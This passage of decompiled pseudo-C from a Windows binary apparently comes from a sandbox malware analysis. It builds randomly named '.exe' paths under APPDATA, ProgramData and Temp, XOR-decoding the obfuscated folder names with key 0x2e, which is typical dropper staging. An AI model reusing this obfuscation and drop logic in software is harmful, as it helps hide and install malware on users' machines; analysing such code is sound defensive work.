																		_v488 = 0;
																		__eflags = _t1693 - 0x10;
																		if(_t1693 < 0x10) {
																			L299:
																			_t1694 = _v364;
																			_v424 = 0;
																			_v420 = 0xf;
																			_v440 = 0;
																			__eflags = _t1694 - 0x10;
																			if(_t1694 < 0x10) {
																				L303:
																				_t1695 = _v340;
																				_v368 = 0;
																				_v364 = 0xf;
																				_v384 = 0;
																				__eflags = _t1695 - 0x10;
																				if(_t1695 < 0x10) {
																					goto L261;
																				} else {
																					_t1535 = _v360;
																					_t1696 = _t1695 + 1;
																					_t1060 = _t1535;
																					__eflags = _t1696 - 0x1000;
																					if(_t1696 < 0x1000) {
																						L306:
																						_push(_t1696);
																						E0040F1B0(_t1535);
																						_t1840 = _t1840 + 8;
																						_v344 = 0;
																						_v340 = 0xf;
																						_v360 = 0;
																						goto L72;
																					} else {
																						_t1457 =  *((intOrPtr*)(_t1535 - 4));
																						_t1669 = _t1696 + 0x23;
																						__eflags = _t1060 -  *((intOrPtr*)(_t1535 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L346;
																						} else {
																							goto L306;
																						}
																					}
																				}
																			} else {
																				_t1536 = _v384;
																				_t1697 = _t1694 + 1;
																				_t1064 = _t1536;
																				__eflags = _t1697 - 0x1000;
																				if(_t1697 < 0x1000) {
																					L302:
																					_push(_t1697);
																					E0040F1B0(_t1536);
																					_t1840 = _t1840 + 8;
																					goto L303;
																				} else {
																					_t1457 =  *((intOrPtr*)(_t1536 - 4));
																					_t1669 = _t1697 + 0x23;
																					__eflags = _t1064 -  *((intOrPtr*)(_t1536 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L346;
																					} else {
																						goto L302;
																					}
																				}
																			}
																		} else {
																			_t1537 = _v440;
																			_t1698 =  &(_t1693->nLength);
																			_t1068 = _t1537;
																			__eflags = _t1698 - 0x1000;
																			if(_t1698 < 0x1000) {
																				L298:
																				_push(_t1698);
																				E0040F1B0(_t1537);
																				_t1840 = _t1840 + 8;
																				goto L299;
																			} else {
																				_t1457 =  *((intOrPtr*)(_t1537 - 4));
																				_t1669 = _t1698 + 0x23;
																				__eflags = _t1068 -  *((intOrPtr*)(_t1537 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L298;
																				}
																			}
																		}
																	} else {
																		_t1538 = _v488;
																		_t1699 = _t1692 + 1;
																		_t1072 = _t1538;
																		__eflags = _t1699 - 0x1000;
																		if(_t1699 < 0x1000) {
																			L294:
																			_push(_t1699);
																			E0040F1B0(_t1538);
																			_t1840 = _t1840 + 8;
																			goto L295;
																		} else {
																			_t1457 =  *((intOrPtr*)(_t1538 - 4));
																			_t1669 = _t1699 + 0x23;
																			__eflags = _t1072 -  *((intOrPtr*)(_t1538 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L294;
																			}
																		}
																	}
																}
															} else {
																_t1539 = _v464;
																_t1663 =  &(_t1663->nLength);
																_t1078 = _t1539;
																__eflags = _t1663 - 0x1000;
																if(_t1663 < 0x1000) {
																	L284:
																	_push(_t1663);
																	E0040F1B0(_t1539);
																	_t1836 = _t1836 + 8;
																	goto L285;
																} else {
																	_t1457 =  *((intOrPtr*)(_t1539 - 4));
																	_t1669 = _t1663 + 0x23;
																	__eflags = _t1078 -  *((intOrPtr*)(_t1539 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L346;
																	} else {
																		goto L284;
																	}
																}
															}
														} else {
															_t1540 = _v440;
															_t1700 =  &(_t1662->nLength);
															_t1082 = _t1540;
															__eflags = _t1700 - 0x1000;
															if(_t1700 < 0x1000) {
																L280:
																_push(_t1700);
																E0040F1B0(_t1540);
																_t1836 = _t1836 + 8;
																goto L281;
															} else {
																_t1457 =  *((intOrPtr*)(_t1540 - 4));
																_t1669 = _t1700 + 0x23;
																__eflags = _t1082 -  *((intOrPtr*)(_t1540 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L346;
																} else {
																	goto L280;
																}
															}
														}
													} else {
														_t1541 = _v488;
														_t1701 = _t1661 + 1;
														_t1086 = _t1541;
														__eflags = _t1701 - 0x1000;
														if(_t1701 < 0x1000) {
															L276:
															_push(_t1701);
															E0040F1B0(_t1541);
															_t1836 = _t1836 + 8;
															goto L277;
														} else {
															_t1457 =  *((intOrPtr*)(_t1541 - 4));
															_t1669 = _t1701 + 0x23;
															__eflags = _t1086 -  *((intOrPtr*)(_t1541 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L346;
															} else {
																goto L276;
															}
														}
													}
												} else {
													_push(_t1423);
													_t1100 = E0040CB20( &_v440,  &_v408);
													_v28 = 0x1b;
													_t1101 = E0040CD40( &_v488, _t1100,  &_v384);
													_t1840 = _t1835 + 8;
													_t1545 = _t1101;
													_v28 = 0x1c;
													_t1796 =  *(_t1545 + 0x14);
													_t1704 =  *(_t1545 + 0x10);
													__eflags = _t1796 - _t1704 - 4;
													if(_t1796 - _t1704 < 4) {
														_v412 = 0;
														_t1545 = E00402980(_t1399, _t1545, _t1796, _t1802, 4, _v412, ".exe", 4);
													} else {
														 *(_t1545 + 0x10) =  &(_t1704->lpSecurityDescriptor);
														_t1122 = _t1545;
														__eflags = _t1796 - 0x10;
														if(_t1796 >= 0x10) {
															_t1122 =  *_t1545;
														}
														 *((intOrPtr*)(_t1122 + _t1704)) = 0x6578652e;
														 *((char*)(_t1122 +  &(_t1704->lpSecurityDescriptor))) = 0;
													}
													 *_t1802 = 0;
													 *(_t1802 + 0x10) = 0;
													 *(_t1802 + 0x14) = 0;
													asm("movups xmm0, [ecx]");
													asm("movups [esi], xmm0");
													asm("movq xmm0, [ecx+0x10]");
													asm("movq [esi+0x10], xmm0");
													 *(_t1545 + 0x10) = 0;
													 *(_t1545 + 0x14) = 0xf;
													 *_t1545 = 0;
													_t1705 = _v468;
													__eflags = _t1705 - 0x10;
													if(_t1705 < 0x10) {
														L249:
														_t1706 = _v420;
														_v472 = 0;
														_v468 = 0xf;
														_v488 = 0;
														__eflags = _t1706 - 0x10;
														if(_t1706 < 0x10) {
															L253:
															_t1707 = _v364;
															_v424 = 0;
															_v420 = 0xf;
															_v440 = 0;
															__eflags = _t1707 - 0x10;
															if(_t1707 < 0x10) {
																L257:
																_t1708 = _v340;
																_v368 = 0;
																_v364 = 0xf;
																_v384 = 0;
																__eflags = _t1708 - 0x10;
																if(_t1708 < 0x10) {
																	L261:
																	_v344 = 0;
																	_v340 = 0xf;
																	_v360 = 0;
																	goto L72;
																} else {
																	_t1546 = _v360;
																	_t1709 = _t1708 + 1;
																	_t1105 = _t1546;
																	__eflags = _t1709 - 0x1000;
																	if(_t1709 < 0x1000) {
																		L260:
																		_push(_t1709);
																		E0040F1B0(_t1546);
																		_t1840 = _t1840 + 8;
																		goto L261;
																	} else {
																		_t1457 =  *((intOrPtr*)(_t1546 - 4));
																		_t1669 = _t1709 + 0x23;
																		__eflags = _t1105 -  *((intOrPtr*)(_t1546 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L260;
																		}
																	}
																}
															} else {
																_t1547 = _v384;
																_t1710 = _t1707 + 1;
																_t1109 = _t1547;
																__eflags = _t1710 - 0x1000;
																if(_t1710 < 0x1000) {
																	L256:
																	_push(_t1710);
																	E0040F1B0(_t1547);
																	_t1840 = _t1840 + 8;
																	goto L257;
																} else {
																	_t1457 =  *((intOrPtr*)(_t1547 - 4));
																	_t1669 = _t1710 + 0x23;
																	__eflags = _t1109 -  *((intOrPtr*)(_t1547 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L346;
																	} else {
																		goto L256;
																	}
																}
															}
														} else {
															_t1548 = _v440;
															_t1711 =  &(_t1706->nLength);
															_t1113 = _t1548;
															__eflags = _t1711 - 0x1000;
															if(_t1711 < 0x1000) {
																L252:
																_push(_t1711);
																E0040F1B0(_t1548);
																_t1840 = _t1840 + 8;
																goto L253;
															} else {
																_t1457 =  *((intOrPtr*)(_t1548 - 4));
																_t1669 = _t1711 + 0x23;
																__eflags = _t1113 -  *((intOrPtr*)(_t1548 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L346;
																} else {
																	goto L252;
																}
															}
														}
													} else {
														_t1549 = _v488;
														_t1712 = _t1705 + 1;
														_t1117 = _t1549;
														__eflags = _t1712 - 0x1000;
														if(_t1712 < 0x1000) {
															L248:
															_push(_t1712);
															E0040F1B0(_t1549);
															_t1840 = _t1840 + 8;
															goto L249;
														} else {
															_t1457 =  *((intOrPtr*)(_t1549 - 4));
															_t1669 = _t1712 + 0x23;
															__eflags = _t1117 -  *((intOrPtr*)(_t1549 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L346;
															} else {
																goto L248;
															}
														}
													}
												}
											} else {
												_t1550 = _v464;
												_t1657 =  &(_t1657->nLength);
												_t1123 = _t1550;
												__eflags = _t1657 - 0x1000;
												if(_t1657 < 0x1000) {
													L238:
													_push(_t1657);
													E0040F1B0(_t1550);
													_t1832 = _t1832 + 8;
													goto L239;
												} else {
													_t1457 =  *((intOrPtr*)(_t1550 - 4));
													_t1669 = _t1657 + 0x23;
													__eflags = _t1123 -  *((intOrPtr*)(_t1550 - 4)) + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L346;
													} else {
														goto L238;
													}
												}
											}
										} else {
											_t1551 = _v440;
											_t1713 =  &(_t1656->nLength);
											_t1127 = _t1551;
											__eflags = _t1713 - 0x1000;
											if(_t1713 < 0x1000) {
												L234:
												_push(_t1713);
												E0040F1B0(_t1551);
												_t1832 = _t1832 + 8;
												goto L235;
											} else {
												_t1457 =  *((intOrPtr*)(_t1551 - 4));
												_t1669 = _t1713 + 0x23;
												__eflags = _t1127 -  *((intOrPtr*)(_t1551 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L346;
												} else {
													goto L234;
												}
											}
										}
									} else {
										_t1552 = _v488;
										_t1714 = _t1655 + 1;
										_t1131 = _t1552;
										__eflags = _t1714 - 0x1000;
										if(_t1714 < 0x1000) {
											L230:
											_push(_t1714);
											E0040F1B0(_t1552);
											_t1832 = _t1832 + 8;
											goto L231;
										} else {
											_t1457 =  *((intOrPtr*)(_t1552 - 4));
											_t1669 = _t1714 + 0x23;
											__eflags = _t1131 -  *((intOrPtr*)(_t1552 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L346;
											} else {
												goto L230;
											}
										}
									}
								} else {
									_t1143 =  &_v312;
									__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t1143); // executed
									__eflags = _t1143;
									if(__eflags < 0) {
										_t1715 = E00418F18(_t1399, _t1795, _t1802, __eflags, "APPDATA");
										_t1831 = _t1831 + 4;
										_t1553 = _t1715;
										_t74 = _t1553 + 1; // 0x1
										_t1796 = _t74;
										do {
											_t1145 =  *_t1553;
											_t1553 = _t1553 + 1;
											__eflags = _t1145;
										} while (_t1145 != 0);
										_t1554 = _t1553 - _t1796;
										__eflags = _t1554;
										_push(_t1554);
										_push(_t1715);
									} else {
										_t1635 =  &_v312;
										_t1790 = _t1635 + 1;
										asm("o16 nop [eax+eax]");
										goto L36;
										L36:
										_t1372 =  *_t1635;
										_t1635 = _t1635 + 1;
										__eflags = _t1372;
										if(_t1372 != 0) {
											goto L36;
										} else {
											_push(_t1635 - _t1790);
											_push( &_v312);
										}
									}
									E004026B0(_t1399,  &_v408);
									E00406760(_t1399,  &_v384, _t1796); // executed
									_v28 = 1;
									_t1148 = E004181A9( &_v384, __eflags);
									asm("cdq");
									_t1558 =  &_v360;
									E004055C0(_t1558, _t1148 % 0xa + 5);
									_push(_t1558);
									_v28 = 2;
									_t1151 = E0040CB20( &_v488,  &_v408);
									_v28 = 3;
									_t1152 = E0040CD40( &_v440, _t1151,  &_v384);
									_t1840 = _t1831 + 8;
									E00402490(_t1399,  &_v408, _t1152);
									_t1720 = _v420;
									__eflags = _t1720 - 0x10;
									if(_t1720 < 0x10) {
										L45:
										_v28 = 2;
										_t1721 = _v468;
										_v424 = 0;
										_v420 = 0xf;
										_v440 = 0;
										__eflags = _t1721 - 0x10;
										if(_t1721 < 0x10) {
											L49:
											_t1871 = _t1840 - 0x18;
											_v412 = _t1871;
											E0040BF40(_t1399, _t1871, _t1721, _t1796,  &_v360);
											_t1872 = _t1871 - 0x18;
											_v28 = 4;
											_t1564 = _t1872;
											E0040BF40(_t1399, _t1564, _t1721, _t1796,  &_v408);
											_v28 = 2;
											_t1158 = E00406800(_t1399, _t1564, _t1796, _t1802); // executed
											_t1873 = _t1872 + 0x30;
											__eflags = _t1158;
											if(_t1158 == 0) {
												_v413 = 0x2e;
												_t1796 =  *( *[fs:0x2c]);
												_t1160 =  *0x450f3c; // 0x0
												__eflags = _t1160 -  *((intOrPtr*)(_t1796 + 4));
												if(_t1160 >  *((intOrPtr*)(_t1796 + 4))) {
													E0040F2F9(_t1160, 0x450f3c);
													_t1873 = _t1873 + 4;
													__eflags =  *0x450f3c - 0xffffffff;
													if(__eflags == 0) {
														asm("movaps xmm0, [0x439d90]");
														asm("movups [0x450f00], xmm0");
														 *0x450f10 = _v413;
														E0040F60B(_t1564, __eflags, 0x42d490);
														E0040F2AF(0x450f3c);
														_t1873 = _t1873 + 8;
													}
												}
												_t1161 =  *0x450f10; // 0x0
												__eflags = _t1161;
												if(_t1161 != 0) {
													asm("movups xmm0, [0x450f00]");
													asm("movaps xmm1, [0x439d30]");
													asm("pxor xmm1, xmm0");
													 *0x450f10 = _t1161 ^ 0x0000002e;
													asm("movups [0x450f00], xmm1");
												}
												_t1565 = 0x450f00;
												_v336 = 0;
												_v320 = 0;
												_v316 = 0xf;
												_v336 = 0;
												_t158 = _t1565 + 1; // 0x450f01
												_t1722 = _t158;
												asm("o16 nop [eax+eax]");
												do {
													_t1162 =  *_t1565;
													_t1565 = _t1565 + 1;
													__eflags = _t1162;
												} while (_t1162 != 0);
												E004026B0(_t1399,  &_v336, 0x450f00, _t1565 - _t1722);
												_v28 = 7;
												_t1723 = _v316;
												_t1568 = _v320;
												__eflags = _t1723 - _t1568 - 1;
												if(_t1723 - _t1568 < 1) {
													_v412 = 0;
													_t1166 = E00402980(_t1399,  &_v336, _t1796, _t1802, 1, _v412, "\\", 1);
												} else {
													_t163 = _t1568 + 1; // 0x1
													__eflags = _t1723 - 0x10;
													_v320 = _t163;
													_t1335 =  >=  ? _v336 :  &_v336;
													 *((short*)(( >=  ? _v336 :  &_v336) + _t1568)) = 0x5c;
													_t1166 =  &_v336;
												}
												_v464 = 0;
												_v448 = 0;
												_v444 = 0;
												asm("movups xmm0, [eax]");
												asm("movups [ebp-0x1b8], xmm0");
												asm("movq xmm0, [eax+0x10]");
												asm("movq [ebp-0x1a8], xmm0");
												 *(_t1166 + 0x10) = 0;
												 *(_t1166 + 0x14) = 0xf;
												 *_t1166 = 0;
												_v28 = 8;
												_t1168 = E0040CD40( &_v440,  &_v464,  &_v384);
												_t1840 = _t1873 + 4;
												E00402490(_t1399,  &_v408, _t1168);
												_t1725 = _v420;
												__eflags = _t1725 - 0x10;
												if(_t1725 < 0x10) {
													L90:
													_v28 = 7;
													_t1726 = _v444;
													_v424 = 0;
													_v420 = 0xf;
													_v440 = 0;
													__eflags = _t1726 - 0x10;
													if(_t1726 < 0x10) {
														L94:
														_v28 = 2;
														_t1727 = _v316;
														_v448 = 0;
														_v444 = 0xf;
														_v464 = 0;
														__eflags = _t1727 - 0x10;
														if(_t1727 < 0x10) {
															L98:
															_t1874 = _t1840 - 0x18;
															_v316 = _t1874;
															E0040BF40(_t1399, _t1874, _t1727, _t1796,  &_v360);
															_t1875 = _t1874 - 0x18;
															_v28 = 9;
															_t1573 = _t1875;
															E0040BF40(_t1399, _t1573, _t1727, _t1796,  &_v408);
															_v28 = 2;
															_t1174 = E00406800(_t1399, _t1573, _t1796, _t1802);
															_t1876 = _t1875 + 0x30;
															__eflags = _t1174;
															if(_t1174 == 0) {
																_t1175 =  *0x450ee8; // 0x0
																_v328 = 0x7e72146d;
																_v324 = 0x5c49415c;
																_v320 = 0x4f6a434f;
																_v316 = 0x4f5a;
																_v413 = 0x2e;
																__eflags = _t1175 -  *((intOrPtr*)(_t1796 + 4));
																if(_t1175 >  *((intOrPtr*)(_t1796 + 4))) {
																	E0040F2F9(_t1175, 0x450ee8);
																	_t1876 = _t1876 + 4;
																	__eflags =  *0x450ee8 - 0xffffffff;
																	if(__eflags == 0) {
																		asm("movq xmm0, [ebp-0x130]");
																		 *0x451064 = _v320;
																		 *0x451068 = _v316;
																		asm("movq [0x45105c], xmm0");
																		 *0x45106a = _v413;
																		E0040F60B(_t1573, __eflags, 0x42d460);
																		E0040F2AF(0x450ee8);
																		_t1876 = _t1876 + 8;
																	}
																}
																__eflags =  *0x45106a;
																if( *0x45106a != 0) {
																	_t1292 = 0;
																	__eflags = 0;
																	do {
																		 *(_t1292 + 0x45105c) =  *(_t1292 + 0x45105c) ^ 0x0000002e;
																		_t1292 = _t1292 + 1;
																		__eflags = _t1292 - 0xf;
																	} while (_t1292 < 0xf);
																}
																_t1574 = 0x45105c;
																_v464 = 0;
																_v448 = 0;
																_v444 = 0xf;
																_v464 = 0;
																_t259 = _t1574 + 1; // 0x45105d
																_t1728 = _t259;
																do {
																	_t1176 =  *_t1574;
																	_t1574 = _t1574 + 1;
																	__eflags = _t1176;
																} while (_t1176 != 0);
																E004026B0(_t1399,  &_v464, 0x45105c, _t1574 - _t1728);
																_v28 = 0xc;
																_t1729 = _v444;
																_t1577 = _v448;
																__eflags = _t1729 - _t1577 - 1;
																if(_t1729 - _t1577 < 1) {
																	_v412 = 0;
																	_t1180 = E00402980(_t1399,  &_v464, _t1796, _t1802, 1, _v412, "\\", 1);
																} else {
																	_t264 = _t1577 + 1; // 0x1
																	__eflags = _t1729 - 0x10;
																	_v448 = _t264;
																	_t1291 =  >=  ? _v464 :  &_v464;
																	 *((short*)(( >=  ? _v464 :  &_v464) + _t1577)) = 0x5c;
																	_t1180 =  &_v464;
																}
																_v440 = 0;
																_v424 = 0;
																_v420 = 0;
																asm("movups xmm0, [eax]");
																asm("movups [ebp-0x1a0], xmm0");
																asm("movq xmm0, [eax+0x10]");
																asm("movq [ebp-0x190], xmm0");
																 *(_t1180 + 0x10) = 0;
																 *(_t1180 + 0x14) = 0xf;
																 *_t1180 = 0;
																_v28 = 0xd;
																_t1182 = E0040CD40( &_v488,  &_v440,  &_v384);
																_t1840 = _t1876 + 4;
																E00402490(_t1399,  &_v408, _t1182);
																_t1731 = _v468;
																__eflags = _t1731 - 0x10;
																if(_t1731 < 0x10) {
																	L135:
																	_v28 = 0xc;
																	_t1732 = _v420;
																	_v472 = 0;
																	_v468 = 0xf;
																	_v488 = 0;
																	__eflags = _t1732 - 0x10;
																	if(_t1732 < 0x10) {
																		L139:
																		_v28 = 2;
																		_t1733 = _v444;
																		_v424 = 0;
																		_v420 = 0xf;
																		_v440 = 0;
																		__eflags = _t1733 - 0x10;
																		if(_t1733 < 0x10) {
																			L143:
																			_t1877 = _t1840 - 0x18;
																			_v316 = _t1877;
																			E0040BF40(_t1399, _t1877, _t1733, _t1796,  &_v360);
																			_t1878 = _t1877 - 0x18;
																			_v28 = 0xe;
																			_t1582 = _t1878;
																			E0040BF40(_t1399, _t1582, _t1733, _t1796,  &_v408);
																			_v28 = 2;
																			_t1188 = E00406800(_t1399, _t1582, _t1796, _t1802);
																			_t1879 = _t1878 + 0x30;
																			__eflags = _t1188;
																			if(_t1188 == 0) {
																				_t1189 =  *0x450f50; // 0x0
																				_v320 = 0x7a72146d;
																				_v316 = 0x2e5e434b;
																				__eflags = _t1189 -  *((intOrPtr*)(_t1796 + 4));
																				if(_t1189 >  *((intOrPtr*)(_t1796 + 4))) {
																					E0040F2F9(_t1189, 0x450f50);
																					_t1879 = _t1879 + 4;
																					__eflags =  *0x450f50 - 0xffffffff;
																					if(__eflags == 0) {
																						 *0x450f88 = _v320;
																						 *0x450f8c = _v316;
																						E0040F60B(_v316, __eflags, 0x42d450);
																						E0040F2AF(0x450f50);
																						_t1879 = _t1879 + 8;
																					}
																				}
																				_t1190 =  *0x450f8f; // 0x0
																				__eflags = _t1190;
																				if(_t1190 != 0) {
																					 *0x450f88 =  *0x450f88 ^ 0x0000002e;
																					 *0x450f89 =  *0x450f89 ^ 0x0000002e;
																					 *0x450f8a =  *0x450f8a ^ 0x0000002e;
																					 *0x450f8b =  *0x450f8b ^ 0x0000002e;
																					 *0x450f8c =  *0x450f8c ^ 0x0000002e;
																					 *0x450f8d =  *0x450f8d ^ 0x0000002e;
																					 *0x450f8e =  *0x450f8e ^ 0x0000002e;
																					_t1250 = _t1190 ^ 0x0000002e;
																					__eflags = _t1250;
																					 *0x450f8f = _t1250;
																				}
																				_t1583 = 0x450f88;
																				_v464 = 0;
																				_v448 = 0;
																				_v444 = 0xf;
																				_v464 = 0;
																				_t354 =  &(_t1583[1]); // 0x450f89
																				_t1734 = _t354;
																				do {
																					_t1191 =  *_t1583;
																					_t1583 =  &(_t1583[1]);
																					__eflags = _t1191;
																				} while (_t1191 != 0);
																				E004026B0(_t1399,  &_v464, 0x450f88, _t1583 - _t1734);
																				_v28 = 0x11;
																				_t1735 = _v444;
																				_t1586 = _v448;
																				__eflags = _t1735 - _t1586 - 1;
																				if(_t1735 - _t1586 < 1) {
																					_v412 = 0;
																					_t1195 = E00402980(_t1399,  &_v464, _t1796, _t1802, 1, _v412, "\\", 1);
																				} else {
																					_t359 = _t1586 + 1; // 0x1
																					__eflags = _t1735 - 0x10;
																					_v448 = _t359;
																					_t1249 =  >=  ? _v464 :  &_v464;
																					 *((short*)(( >=  ? _v464 :  &_v464) + _t1586)) = 0x5c;
																					_t1195 =  &_v464;
																				}
																				_v440 = 0;
																				_v424 = 0;
																				_v420 = 0;
																				asm("movups xmm0, [eax]");
																				asm("movups [ebp-0x1a0], xmm0");
																				asm("movq xmm0, [eax+0x10]");
																				asm("movq [ebp-0x190], xmm0");
																				 *(_t1195 + 0x10) = 0;
																				 *(_t1195 + 0x14) = 0xf;
																				 *_t1195 = 0;
																				_v28 = 0x12;
																				_t1197 = E0040CD40( &_v488,  &_v440,  &_v384);
																				_t1840 = _t1879 + 4;
																				E00402490(_t1399,  &_v408, _t1197);
																				_t1737 = _v468;
																				__eflags = _t1737 - 0x10;
																				if(_t1737 < 0x10) {
																					L179:
																					_v28 = 0x11;
																					_t1738 = _v420;
																					_v472 = 0;
																					_v468 = 0xf;
																					_v488 = 0;
																					__eflags = _t1738 - 0x10;
																					if(_t1738 < 0x10) {
																						L183:
																						_v28 = 2;
																						_t1739 = _v444;
																						_v424 = 0;
																						_v420 = 0xf;
																						_v440 = 0;
																						__eflags = _t1739 - 0x10;
																						if(_t1739 < 0x10) {
																							L187:
																							_t1880 = _t1840 - 0x18;
																							_v316 = _t1880;
																							E0040BF40(_t1399, _t1880, _t1739, _t1796,  &_v360);
																							_t1881 = _t1880 - 0x18;
																							_v28 = 0x13;
																							_t1591 = _t1881;
																							E0040BF40(_t1399, _t1591, _t1739, _t1796,  &_v408);
																							_v28 = 2;
																							_t1203 = E00406800(_t1399, _t1591, _t1796, _t1802);
																							_t1840 = _t1881 + 0x30;
																							__eflags = _t1203;
																							if(_t1203 == 0) {
																								_v28 = 1;
																								_t1740 = _v340;
																								__eflags = _t1740 - 0x10;
																								if(_t1740 < 0x10) {
																									L213:
																									_v28 = 0;
																									_t1669 = _v364;
																									_v344 = 0;
																									_v340 = 0xf;
																									_v360 = 0;
																									__eflags = _t1669 - 0x10;
																									if(_t1669 < 0x10) {
																										L342:
																										E00402510(_t1802, 0x4399f7);
																										L343:
																										E00402440(_t1399,  &_v408);
																										goto L344;
																									} else {
																										_t1592 = _v384;
																										_t1669 =  &(1[_t1669]);
																										_t1204 = _t1592;
																										__eflags = _t1669 - 0x1000;
																										if(_t1669 < 0x1000) {
																											L216:
																											_push(_t1669);
																											E0040F1B0(_t1592);
																											goto L342;
																										} else {
																											_t1457 =  *((intOrPtr*)(_t1592 - 4));
																											_t1669 = _t1669 + 0x23;
																											__eflags = _t1204 -  *((intOrPtr*)(_t1592 - 4)) + 0xfffffffc - 0x1f;
																											if(__eflags > 0) {
																												goto L346;
																											} else {
																												goto L216;
																											}
																										}
																									}
																								} else {
																									_t1593 = _v360;
																									_t1741 = _t1740 + 1;
																									_t1208 = _t1593;
																									__eflags = _t1741 - 0x1000;
																									if(_t1741 < 0x1000) {
																										L212:
																										_push(_t1741);
																										E0040F1B0(_t1593);
																										_t1840 = _t1840 + 8;
																										goto L213;
																									} else {
																										_t1457 =  *((intOrPtr*)(_t1593 - 4));
																										_t1669 = _t1741 + 0x23;
																										__eflags = _t1208 -  *((intOrPtr*)(_t1593 - 4)) + 0xfffffffc - 0x1f;
																										if(__eflags > 0) {
																											goto L346;
																										} else {
																											goto L212;
																										}
																									}
																								}
																							} else {
																								_push(_t1591);
																								_t1212 = E0040CB20( &_v440,  &_v408);
																								_v28 = 0x14;
																								_t1213 = E0040CD40( &_v488, _t1212,  &_v360);
																								_t1840 = _t1840 + 8;
																								_t1597 = _t1213;
																								_v28 = 0x15;
																								_t1796 =  *(_t1597 + 0x14);
																								_t1744 =  *(_t1597 + 0x10);
																								__eflags = _t1796 - _t1744 - 4;
																								if(_t1796 - _t1744 < 4) {
																									_v412 = 0;
																									_t1597 = E00402980(_t1399, _t1597, _t1796, _t1802, 4, _v412, ".exe", 4);
																								} else {
																									 *(_t1597 + 0x10) =  &(_t1744->lpSecurityDescriptor);
																									_t1234 = _t1597;
																									__eflags = _t1796 - 0x10;
																									if(_t1796 >= 0x10) {
																										_t1234 =  *_t1597;
																									}
																									 *((intOrPtr*)(_t1234 + _t1744)) = 0x6578652e;
																									 *((char*)(_t1234 +  &(_t1744->lpSecurityDescriptor))) = 0;
																								}
																								 *_t1802 = 0;
																								 *(_t1802 + 0x10) = 0;
																								 *(_t1802 + 0x14) = 0;
																								asm("movups xmm0, [ecx]");
																								asm("movups [esi], xmm0");
																								asm("movq xmm0, [ecx+0x10]");
																								asm("movq [esi+0x10], xmm0");
																								 *(_t1597 + 0x10) = 0;
																								 *(_t1597 + 0x14) = 0xf;
																								 *_t1597 = 0;
																								_t1745 = _v468;
																								__eflags = _t1745 - 0x10;
																								if(_t1745 < 0x10) {
																									L197:
																									_t1746 = _v420;
																									_v472 = 0;
																									_v468 = 0xf;
																									_v488 = 0;
																									__eflags = _t1746 - 0x10;
																									if(_t1746 < 0x10) {
																										L201:
																										_t1747 = _v340;
																										_v424 = 0;
																										_v420 = 0xf;
																										_v440 = 0;
																										__eflags = _t1747 - 0x10;
																										if(_t1747 < 0x10) {
																											L205:
																											_t1748 = _v364;
																											_v344 = 0;
																											_v340 = 0xf;
																											_v360 = 0;
																											__eflags = _t1748 - 0x10;
																											if(_t1748 < 0x10) {
																												goto L71;
																											} else {
																												_t1598 = _v384;
																												_t1749 = _t1748 + 1;
																												_t1217 = _t1598;
																												__eflags = _t1749 - 0x1000;
																												if(_t1749 < 0x1000) {
																													goto L70;
																												} else {
																													_t1457 =  *((intOrPtr*)(_t1598 - 4));
																													_t1669 = _t1749 + 0x23;
																													__eflags = _t1217 -  *((intOrPtr*)(_t1598 - 4)) + 0xfffffffc - 0x1f;
																													if(__eflags > 0) {
																														goto L346;
																													} else {
																														goto L70;
																													}
																												}
																											}
																										} else {
																											_t1599 = _v360;
																											_t1750 = _t1747 + 1;
																											_t1221 = _t1599;
																											__eflags = _t1750 - 0x1000;
																											if(_t1750 < 0x1000) {
																												L204:
																												_push(_t1750);
																												E0040F1B0(_t1599);
																												_t1840 = _t1840 + 8;
																												goto L205;
																											} else {
																												_t1457 =  *((intOrPtr*)(_t1599 - 4));
																												_t1669 = _t1750 + 0x23;
																												__eflags = _t1221 -  *((intOrPtr*)(_t1599 - 4)) + 0xfffffffc - 0x1f;
																												if(__eflags > 0) {
																													goto L346;
																												} else {
																													goto L204;
																												}
																											}
																										}
																									} else {
																										_t1600 = _v440;
																										_t1751 =  &(_t1746->nLength);
																										_t1225 = _t1600;
																										__eflags = _t1751 - 0x1000;
																										if(_t1751 < 0x1000) {
																											L200:
																											_push(_t1751);
																											E0040F1B0(_t1600);
																											_t1840 = _t1840 + 8;
																											goto L201;
																										} else {
																											_t1457 =  *((intOrPtr*)(_t1600 - 4));
																											_t1669 = _t1751 + 0x23;
																											__eflags = _t1225 -  *((intOrPtr*)(_t1600 - 4)) + 0xfffffffc - 0x1f;
																											if(__eflags > 0) {
																												goto L346;
																											} else {
																												goto L200;
																											}
																										}
																									}
																								} else {
																									_t1601 = _v488;
																									_t1752 = _t1745 + 1;
																									_t1229 = _t1601;
																									__eflags = _t1752 - 0x1000;
																									if(_t1752 < 0x1000) {
																										L196:
																										_push(_t1752);
																										E0040F1B0(_t1601);
																										_t1840 = _t1840 + 8;
																										goto L197;
																									} else {
																										_t1457 =  *((intOrPtr*)(_t1601 - 4));
																										_t1669 = _t1752 + 0x23;
																										__eflags = _t1229 -  *((intOrPtr*)(_t1601 - 4)) + 0xfffffffc - 0x1f;
																										if(__eflags > 0) {
																											goto L346;
																										} else {
																											goto L196;
																										}
																									}
																								}
																							}
																						} else {
																							_t1602 = _v464;
																							_t1739 =  &(_t1739->nLength);
																							_t1235 = _t1602;
																							__eflags = _t1739 - 0x1000;
																							if(_t1739 < 0x1000) {
																								L186:
																								_push(_t1739);
																								E0040F1B0(_t1602);
																								_t1840 = _t1840 + 8;
																								goto L187;
																							} else {
